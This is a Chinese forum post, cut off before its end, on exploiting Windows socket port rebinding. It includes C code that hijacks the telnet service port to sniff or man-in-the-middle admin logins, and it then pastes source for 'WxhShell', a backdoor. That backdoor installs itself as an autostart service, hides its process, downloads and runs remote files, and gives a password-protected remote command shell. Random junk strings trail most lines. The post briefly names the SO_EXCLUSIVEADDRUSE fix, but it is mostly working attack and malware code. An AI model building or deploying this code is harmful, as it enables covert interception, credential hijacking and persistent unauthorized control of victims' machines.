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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: JNg5?V;.U  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0P/LW|16  
:DpK{$eCb  
  saddr.sin_family = AF_INET; Kd1\D!#!6  
|MrH@v7S  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); g]Ny?61  
}4MG114j  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); O5*uL{pvT{  
IHmNi>E&/  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 hs uJ;4}$q  
m D q,,  
  这意味着什么?意味着可以进行如下的攻击: p6\9H G  
li XD2N  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 *,*5sV  
Y }d>%i+  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ,$[lOFs  
>2a#|_-T  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 !K)|e4$  
sb5kexGxkc  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  PS]X Lz  
X0=- {<W  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 RIc<  
l7um9@[4  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;.a)r  
8rNxd=!  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 b4PK  
#(4hX6?5AI  
  #include MT gEq  
  #include }`]^LFU5  
  #include $&C%C\(>D  
  #include    #!@ ]%4  
  DWORD WINAPI ClientThread(LPVOID lpParam);   4f-C]N=  
  int main() >R-$JrU.=  
  { htlWC>*  
  WORD wVersionRequested; 86VuPV-  
  DWORD ret; B ~GyS"  
  WSADATA wsaData; o#b9M4O  
  BOOL val; y +vcBuX  
  SOCKADDR_IN saddr; \bE~iz3b9  
  SOCKADDR_IN scaddr; svgi!=  
  int err; qeGOSGc_  
  SOCKET s; ~epkRO="  
  SOCKET sc; gI{F"7fa=  
  int caddsize; `-2`UGB-  
  HANDLE mt; zg"ZXZ  
  DWORD tid;   5%/%i}e~(  
  wVersionRequested = MAKEWORD( 2, 2 ); 2 ARh-zLb  
  err = WSAStartup( wVersionRequested, &wsaData ); 3Mt6iZW  
  if ( err != 0 ) { 4B(qVf&M  
  printf("error!WSAStartup failed!\n"); BpE[9N  
  return -1; ?2c:|FD  
  } $5O&[/L  
  saddr.sin_family = AF_INET; >8- `  
   >cLZP#^\2E  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Y?x3JU0_  
7T78S&g  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); #=m5*}=  
  saddr.sin_port = htons(23); hNfL /^w  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #+ =afJ  
  { T;7|d5][  
  printf("error!socket failed!\n"); 2x CGr>X  
  return -1; SOJHw6  
  } L;<]wKs  
  val = TRUE; [rem,i+  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 =*N(8j>y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <#i'3TUR  
  { F"I@=R-n  
  printf("error!setsockopt failed!\n"); Jr zU-g  
  return -1; :-n4! z"k  
  } u/WkqJvw#  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; nAOId90wue  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 g}7%3D  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 QG ia(  
)^AO?MW  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >~k Y{_  
  { Z_/03K$q  
  ret=GetLastError(); Ns{4BM6j  
  printf("error!bind failed!\n"); 4BX*-t  
  return -1; IFe[3mB5  
  } ,0O!w>u_]J  
  listen(s,2); lU3wIB  
  while(1) u5,<.#EVY  
  { JM0)x}] +  
  caddsize = sizeof(scaddr); _Yv9u'q"  
  //接受连接请求 J<D =\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3@SfCG&|e  
  if(sc!=INVALID_SOCKET) yuWrU<Kw  
  { bK7DGw`1  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 8cl!8gfv  
  if(mt==NULL) }z6HxB]$  
  { Y|bGd_j  
  printf("Thread Creat Failed!\n"); F{S.f1Bsp  
  break; p*G_$"KpP  
  } z> SCv;Q  
  } =Vfj#WL  
  CloseHandle(mt); )U?W+0[=  
  } ~ i,my31  
  closesocket(s); &x}JC/u]fd  
  WSACleanup();  E2l.  
  return 0; 08Gr  
  }   '=5N?)  
  DWORD WINAPI ClientThread(LPVOID lpParam) ]T1"3 [si  
  {  GU9`;/  
  SOCKET ss = (SOCKET)lpParam; 2 q>4nN  
  SOCKET sc; dpS  
  unsigned char buf[4096]; wP'`!O[W  
  SOCKADDR_IN saddr; `*B8IT)  
  long num; BehV :M  
  DWORD val; lB3X1e9  
  DWORD ret; D  UeT  
  //如果是隐藏端口应用的话,可以在此处加一些判断 o3yZCz  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   -Q/Dbz#-  
  saddr.sin_family = AF_INET; ; 1WclQ!(  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); gNJ\*]SY  
  saddr.sin_port = htons(23); $k dfY'u  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) FM5$83Q  
  { - >2ej4C  
  printf("error!socket failed!\n"); se-}d.PwL  
  return -1; 6%>0g^`)9Y  
  } q\\J9`Q$J  
  val = 100; mmi~A<  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K)n(U9#  
  { 3N-(`[m{E  
  ret = GetLastError(); 6 J#C  
  return -1; yq2Bz7P  
  } Nt)9- \T  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) D6D*RTi4  
  { 9Rpj&0Is  
  ret = GetLastError(); m@~HHwj  
  return -1; /*[a>B4-q  
  } V6c?aZ,O  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #RcmO **  
  { q?6Zu:':  
  printf("error!socket connect failed!\n"); /dO&r'!:  
  closesocket(sc); M30_b8[Y_  
  closesocket(ss); w ^A0l.{  
  return -1; M9MEQK  
  } e.Ii@<  
  while(1) 3|C"F-'<  
  { UV=TU=A\o  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 .Xr_BJ _  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {\k9%2V*+  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Mc.KLz&,FC  
  num = recv(ss,buf,4096,0); ~"(1~7_  
  if(num>0) `g#\ Ws  
  send(sc,buf,num,0); E:7vm@+  
  else if(num==0) g wk\[I`;  
  break; *J6qL! ["  
  num = recv(sc,buf,4096,0); E-RbFTVBA  
  if(num>0) U+W8)7bc  
  send(ss,buf,num,0); /c09-$M  
  else if(num==0) dX<UruPA  
  break; (7"qT^s3  
  } i"r=b%;;  
  closesocket(ss); 7+ c?eH  
  closesocket(sc); `ul"D%  
  return 0 ; E;N+B34  
  } 4VK5TWg  
G"'DoP7p9  
PRs[:we~~  
========================================================== ar{Yq  
~j UK-E  
下边附上一个代码,,WXhSHELL ?p`}6s Q}  
E3`KO'v%  
========================================================== |^FDsJUN  
1Eg,iTn2*x  
#include "stdafx.h" :D(:( `A=  
P0W%30Dh  
#include <stdio.h>  X(bb1  
#include <string.h> &Zov9o:gx  
#include <windows.h> 0DN:{dJz  
#include <winsock2.h>  3o/f#y  
#include <winsvc.h> uH`ds+Hp  
#include <urlmon.h> aPWFb.JO4  
[QeKT8  
#pragma comment (lib, "Ws2_32.lib") "5{\0CfS  
#pragma comment (lib, "urlmon.lib") 4((Z8@iX/  
9~N7hLT  
#define MAX_USER   100 // 最大客户端连接数 %e _WO,R  
#define BUF_SOCK   200 // sock buffer -cG?lEh <  
#define KEY_BUFF   255 // 输入 buffer B3K%V|;z )  
]SK(cfA`  
#define REBOOT     0   // 重启 DK:d'zb  
#define SHUTDOWN   1   // 关机 p/@z4TCNX  
{`-EX  
#define DEF_PORT   5000 // 监听端口 qlSMg;"Ghw  
bBjVot  
#define REG_LEN     16   // 注册表键长度 E#T'=f[r~  
#define SVC_LEN     80   // NT服务名长度 bMgp  
:5;[Rg5 2  
// 从dll定义API 5^ pQ=Sgt  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ctj.rC)6n  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); tr):n@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ao 32n  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); m^p Q55,   
fz<Y9h=  
// wxhshell配置信息 _oR6^#5#  
struct WSCFG { Oi7|R7NE  
  int ws_port;         // 监听端口 U; ev3  
  char ws_passstr[REG_LEN]; // 口令 | YvO$4=s  
  int ws_autoins;       // 安装标记, 1=yes 0=no d ;ry!X  
  char ws_regname[REG_LEN]; // 注册表键名 u K 8 r  
  char ws_svcname[REG_LEN]; // 服务名 .2OP>:9F  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0(teplo&P  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 OS,-dG(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nQ8EV>j2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =_=jXWOQv  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" H3MT.Cpd  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ZSxKk6n}J  
x%LWcT/  
}; .nT"f>S&'  
x}72jJe`  
// default Wxhshell configuration wtMS<$  
struct WSCFG wscfg={DEF_PORT, !! #\P7P  
    "xuhuanlingzhe", 8iq~ha$]|  
    1, jt?R a1Z  
    "Wxhshell", z^ ~fVl  
    "Wxhshell",  Zuwd(q  
            "WxhShell Service", BC&Et62*  
    "Wrsky Windows CmdShell Service", g~N)~]0{  
    "Please Input Your Password: ", ~KEnZa0  
  1, U edh4qa  
  "http://www.wrsky.com/wxhshell.exe", D,]m7 yFT  
  "Wxhshell.exe" &AA u:  
    }; MiN68x9  
Ro?yCy:L'  
// 消息定义模块 0p! [&O  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; IgZX,4i=o  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |qfnbi-\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; D`iWf3a.  
char *msg_ws_ext="\n\rExit."; L[<MBgF Kv  
char *msg_ws_end="\n\rQuit."; SrU,-mA W  
char *msg_ws_boot="\n\rReboot..."; OpYq qBf_  
char *msg_ws_poff="\n\rShutdown..."; 2uV=kqnO  
char *msg_ws_down="\n\rSave to "; :y 0'[LV  
iQ~cG[6  
char *msg_ws_err="\n\rErr!"; DtyT8kr  
char *msg_ws_ok="\n\rOK!"; hnL(~  
% kKtPrT  
char ExeFile[MAX_PATH]; jUdW o}/  
int nUser = 0; & 9IMZAo  
HANDLE handles[MAX_USER]; BYP,}yzA  
int OsIsNt; !dGy"-i$h  
1 BVivEG  
SERVICE_STATUS       serviceStatus; ;z!~-ByzL  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2x'JR yef  
.b5B7 x}  
// 函数声明 d7P| x  
int Install(void); n8J';F =P  
int Uninstall(void); [96|xe\s  
int DownloadFile(char *sURL, SOCKET wsh); 7?b'"X"  
int Boot(int flag); ^PO0(rh  
void HideProc(void); @^/JNtbH!  
int GetOsVer(void); zI(b#eUF  
int Wxhshell(SOCKET wsl); tHD mX  
void TalkWithClient(void *cs); lLo FM  
int CmdShell(SOCKET sock); uflp4_D   
int StartFromService(void); 2= u5N[*  
int StartWxhshell(LPSTR lpCmdLine); 4d[:{/+Q  
h?fv:^vSi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); i5V ly'Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Pqx=j_st  
8%I4jL<  
// 数据结构和表定义 7S),:Uy[\  
SERVICE_TABLE_ENTRY DispatchTable[] = RVX-3FvP  
{ ;w[|IRa  
{wscfg.ws_svcname, NTServiceMain}, :@19,.L  
{NULL, NULL} '0z@Jevd?  
}; 8M8=uw~#  
P7<~S8)Y  
// 自我安装 zLC\Rc4  
int Install(void) MhHygZT[}  
{ xs+MvXTC  
  char svExeFile[MAX_PATH]; : !J!l u  
  HKEY key; kQwBrb 4  
  strcpy(svExeFile,ExeFile); EVrOu""  
#W'jNX,h  
// 如果是win9x系统,修改注册表设为自启动 >=[w{Vn'Mf  
if(!OsIsNt) { ,]1K^UeZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !dStl:B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3x.|g   
  RegCloseKey(key); V1;n5YL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a{,EX[~b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $nBzYRc"3  
  RegCloseKey(key); M*{ EK  
  return 0; 1/JgirVA  
    } -.i1l/FzP  
  } ^~8l|d_  
} #Z(8 vA^@  
else { 8iR%?5 >K  
w~X1Il7A  
// 如果是NT以上系统,安装为系统服务 sf@g $  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @y{Whun~  
if (schSCManager!=0) Z Oyq{w!2  
{ UvxJ _  
  SC_HANDLE schService = CreateService I 4gyGg$H  
  ( YjoN: z`b  
  schSCManager, Of SYOL7o  
  wscfg.ws_svcname, pX*Oc6.0mu  
  wscfg.ws_svcdisp, KKl8tI\u~  
  SERVICE_ALL_ACCESS, 0:Ak 4L6k  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , f LxFF  
  SERVICE_AUTO_START, 7-Fh!=\f/  
  SERVICE_ERROR_NORMAL, Z,_yE*q  
  svExeFile, N:Q}Lil  
  NULL, 00n6v;X  
  NULL, bxK1v7  
  NULL, `4g m'C  
  NULL, }`\+_@ w  
  NULL gNo.&G [  
  ); ~;3N'o  
  if (schService!=0) LezM=om.  
  { BoHMz/DB  
  CloseServiceHandle(schService); aKhI|%5kA  
  CloseServiceHandle(schSCManager); }q)o LC  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); a$l/N{<.  
  strcat(svExeFile,wscfg.ws_svcname); J}nE,U2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { uJ{N?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); V2V^*9(wu@  
  RegCloseKey(key); XW%!#S&;X  
  return 0; Cj31'  
    } *3s4JK  
  } Y*dzoN.sW  
  CloseServiceHandle(schSCManager); v](7c2;  
} hF.9\X]  
} Yhb=^)@))  
YJ_LD6PL9  
return 1; "fL:scq@0  
} th2a'y=0  
ZH~T'Bg  
// 自我卸载 :W? 7J"  
int Uninstall(void) ?6; +.h\  
{ K #}DXq  
  HKEY key; BOoLs(p  
$7T3wv9  
if(!OsIsNt) { BI3Q~ADV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MrXhVZ"d*  
  RegDeleteValue(key,wscfg.ws_regname); L/_OgL]YdI  
  RegCloseKey(key); Ir_K8 3VM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W]4Gs;  
  RegDeleteValue(key,wscfg.ws_regname); 3<AZ,gF1  
  RegCloseKey(key); 9pb4!=g*  
  return 0; % tN{  
  } ez"Xb 7  
} Z1wN+Y.CA  
} oL2|@WNj,  
else { }`{aeVHT  
{]n5h#c 5*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @K7#}7,t  
if (schSCManager!=0) U:M?Ji5CY  
{ /0uZ(F|>I  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #e((F,1z  
  if (schService!=0) Mp:tcy,*  
  { ^^qB=N[';  
  if(DeleteService(schService)!=0) { H$9--p  
  CloseServiceHandle(schService); NU-({dGK}  
  CloseServiceHandle(schSCManager); ik=~`3Zp0  
  return 0; S ])Ap'E  
  } D ?1$I0=  
  CloseServiceHandle(schService); xVao3+r  
  } #Wey)DI  
  CloseServiceHandle(schSCManager); 3U!\5Nsby  
} Ig-9Y;hdmn  
} XI~2Vzht  
Ec y|l ;  
return 1; ;X[mfg\  
} /8VM.fr$  
K{%}kUj>  
// 从指定url下载文件 ):   
int DownloadFile(char *sURL, SOCKET wsh) hw:zak#j,  
{ 559znM=  
  HRESULT hr; -n?}L#4%8  
char seps[]= "/"; hu%UEB  
char *token; Dt0S"`^=k  
char *file; t|jX%s=  
char myURL[MAX_PATH]; bJj <xjBM  
char myFILE[MAX_PATH]; ]rO`e N[~U  
WoHFt*e2  
strcpy(myURL,sURL); {0+gPTp  
  token=strtok(myURL,seps); ,Drd s"H  
  while(token!=NULL) )cNG)F  
  { N|EH`eu^i  
    file=token; g 7res  
  token=strtok(NULL,seps); 12M&qqV  
  } rhO ]4A  
E)DdiB'Rh  
GetCurrentDirectory(MAX_PATH,myFILE); zRbooo{N  
strcat(myFILE, "\\"); ^a4y+!  
strcat(myFILE, file); f^@`[MJj1C  
  send(wsh,myFILE,strlen(myFILE),0); oj /:  
send(wsh,"...",3,0); lR\=] ]7I>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); HaXlc8  
  if(hr==S_OK) >:!TfuU^R  
return 0; W'hE,  
else 6TvlK*<r=  
return 1; ?vuM'UH-  
DBYD>UA  
} ]1>U@oK  
RUC V!L  
// 系统电源模块 Fy3&Emu  
int Boot(int flag) |#q5#@,  
{ J)vP<.3:  
  HANDLE hToken; -g(&5._,ZW  
  TOKEN_PRIVILEGES tkp; 4J Bm|Pf(  
>Ip>x!wi  
  if(OsIsNt) { Qctm"g|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =|O`al  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `X'-4/Y  
    tkp.PrivilegeCount = 1; !Sx }~XB<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z;M]^?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /.l8Jb4  
if(flag==REBOOT) { 7Gd)=Q{uur  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) o_ka'|  
  return 0; `VX]vumG  
} pMnkh}Q#  
else { h$.y)v  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) KSU?Tg&JR  
  return 0; 6*9hAnH  
} ":EfR`A#  
  } aRPgo0,W1  
  else { yb*P&si5bY  
if(flag==REBOOT) { ?3~]H   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S7&w r@  
  return 0; P -0  
} 9r=@S  
else { ikf!7-,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) W8+Daw1Nr  
  return 0; N+%E=D>  
} :=WiT_M  
} k0~mK7k  
:c3}J<Z  
return 1; [<`K%1GQ  
} ieXhOA  
~Fp,nE-B  
// win9x进程隐藏模块 | Z'NMJU  
void HideProc(void) HTiqErD2_  
{ ]o`qI#{R~R  
~&B{"d  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); CKwrE]h  
  if ( hKernel != NULL ) &.D3f"  
  { MT9c:7}[&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F`KA^ZI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,DsqKXSU  
    FreeLibrary(hKernel); rKEi1b  
  } +>mbBu!7  
Lsv[@Rl  
return; ]Tk3@jw+b  
} #ky]@vyO  
l6Wa~E  
// 获取操作系统版本 \o3)\ e]o  
int GetOsVer(void) ,tJ%t#  
{ l]D?S]{a  
  OSVERSIONINFO winfo; bE:oF9J?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); QSPneYD  
  GetVersionEx(&winfo); 9[K".VeT]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  C[MZ9 r  
  return 1; OCmF/B_  
  else 4#Wczk-b  
  return 0; `(s&H8x#  
} P @N7g`u3}  
>MD['=J[d  
// 客户端句柄模块 6U[`CGL66  
int Wxhshell(SOCKET wsl) t=M:L[bis;  
{ ZYDLl8  
  SOCKET wsh; a_Y*pOu  
  struct sockaddr_in client; dU%Q=r8R  
  DWORD myID; ?oF+?l  
EfHo1Yn&  
  while(nUser<MAX_USER) SXkUtY$  
{ 1vKc>+9  
  int nSize=sizeof(client); JW[y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5ZeE& vG2  
  if(wsh==INVALID_SOCKET) return 1; m?cC0(6  
v5 STe`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); eF+:w:\h  
if(handles[nUser]==0) g-`HKoKe  
  closesocket(wsh); y'\BpP  
else wBz?OnD/D  
  nUser++; +-tvNX%IJ  
  } c\"t+/Z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K%AbM#o<  
zUX%$N+w}>  
  return 0; sq `f?tA?  
} M^^5JNY  
(IdXJvKU!  
// 关闭 socket EC(,-sz\Z  
void CloseIt(SOCKET wsh) ZC}'! $r7  
{ &:1PF.)N  
closesocket(wsh); '<! b}1w0  
nUser--; IvuKpX>*  
ExitThread(0); ny# ?^.1  
} }  IJ  
9))E\U  
// 客户端请求句柄 _BGw)Z 6  
void TalkWithClient(void *cs) `x=W)o }  
{ zbQ-l1E  
h^_Sd"l3  
  SOCKET wsh=(SOCKET)cs; ~2 L{m[s|  
  char pwd[SVC_LEN]; Gx Z'"x  
  char cmd[KEY_BUFF]; TG4?"0`I5  
char chr[1]; B#RBR<MFC  
int i,j; #OlU|I  
hx|Cam"  
  while (nUser < MAX_USER) { reo  
b=nQi./f  
if(wscfg.ws_passstr) { =`RogjbP  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g<C_3ap/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {Up@\M  
  //ZeroMemory(pwd,KEY_BUFF); VB 53n'  
      i=0; h'*>\eC6  
  while(i<SVC_LEN) { c@H_f  
;',hwo_LBf  
  // 设置超时 7{<:g!  
  fd_set FdRead;  mZGAl1`8  
  struct timeval TimeOut; 5G5P#<Vv  
  FD_ZERO(&FdRead); zTA+s 2  
  FD_SET(wsh,&FdRead); >6fc` 3*!  
  TimeOut.tv_sec=8; }:JE*D|  
  TimeOut.tv_usec=0; \XDc{c]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Axb,{X[6g  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); R9=K/  
0\fV'JDOR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :[icd2JCw]  
  pwd=chr[0]; tBR"sBiws  
  if(chr[0]==0xd || chr[0]==0xa) { V>"nAh]}.  
  pwd=0; ;. jnRPo";  
  break; [[uKakp  
  } VVY#g%(K  
  i++; n-X;JYQW  
    } [C1 .*Q+l  
50MdZ;R-3  
  // 如果是非法用户,关闭 socket 3FWl_d~uD  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Hn~=O8/2  
} o1jDQ+  
" S8JHHx  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f P|rD[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pPI'0x  
-nBb - y  
while(1) { S"t6 *fWr  
j?!BHNs  
  ZeroMemory(cmd,KEY_BUFF); Ql~9a [8T~  
w8MQA!=l  
      // 自动支持客户端 telnet标准   :X1~  
  j=0; ?&qa3y)wX:  
  while(j<KEY_BUFF) { 2t9JiH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z0o+&3a6  
  cmd[j]=chr[0]; P''5A6#5  
  if(chr[0]==0xa || chr[0]==0xd) { U[l7n3Y=  
  cmd[j]=0; jg2 UX   
  break; N0Y$QWr_$  
  } px|y_.DB2x  
  j++; PKDzIA~T  
    } !_zp'V]?  
U)v['5%  
  // 下载文件 WCa>~dF>  
  if(strstr(cmd,"http://")) { /g|H?F0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }>)e~\Tdzb  
  if(DownloadFile(cmd,wsh)) _e2=BE`W)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o+9b%I^1V  
  else %[1\d)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5|T[:m  
  } yr4j  
  else { ,tt .oF|  
87QK&S\  
    switch(cmd[0]) { 7'c ;$~  
  _(#HQd,i  
  // 帮助 <K^{36h  
  case '?': { H C %tJ:G  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); hxwo<wEg  
    break; RK7vR~kf<  
  } wjJM\BKr`  
  // 安装 wR7Ja cKv  
  case 'i': { C*+gQeK  
    if(Install()) L5+X&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R`IFKmA EJ  
    else nFRU-D$7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xv1 SRP#  
    break; ,F&TSzH[@v  
    } [C8lMEV~  
  // 卸载 %kS4v,I  
  case 'r': { U9?fUS  
    if(Uninstall()) *=sMJY9#jE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d|P,e;m-  
    else W^a-K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VR8 kY&  
    break; HDmjt+3&n  
    } H@+1I?l  
  // 显示 wxhshell 所在路径 *En29N#a{  
  case 'p': { 7H$I9e  
    char svExeFile[MAX_PATH]; [uJfmrEH  
    strcpy(svExeFile,"\n\r"); J^!2F}:  
      strcat(svExeFile,ExeFile); RA%=_wPD +  
        send(wsh,svExeFile,strlen(svExeFile),0); Y/%(4q*'  
    break; fU6O:-  
    } {Xw6]d  
  // 重启 $nkvp`A  
  case 'b': { I_/E0qSJI  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Yk;-]qi7  
    if(Boot(REBOOT)) jOkc'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,A$#gLyk<  
    else { J?oI%r7^  
    closesocket(wsh); w5C$39e\G  
    ExitThread(0); m;_gNh8Ee  
    } bv&#ay 7  
    break; lx'^vK%F  
    } D(E3{\*R  
  // 关机 ~pZ<VH;h  
  case 'd': { _/S qw  
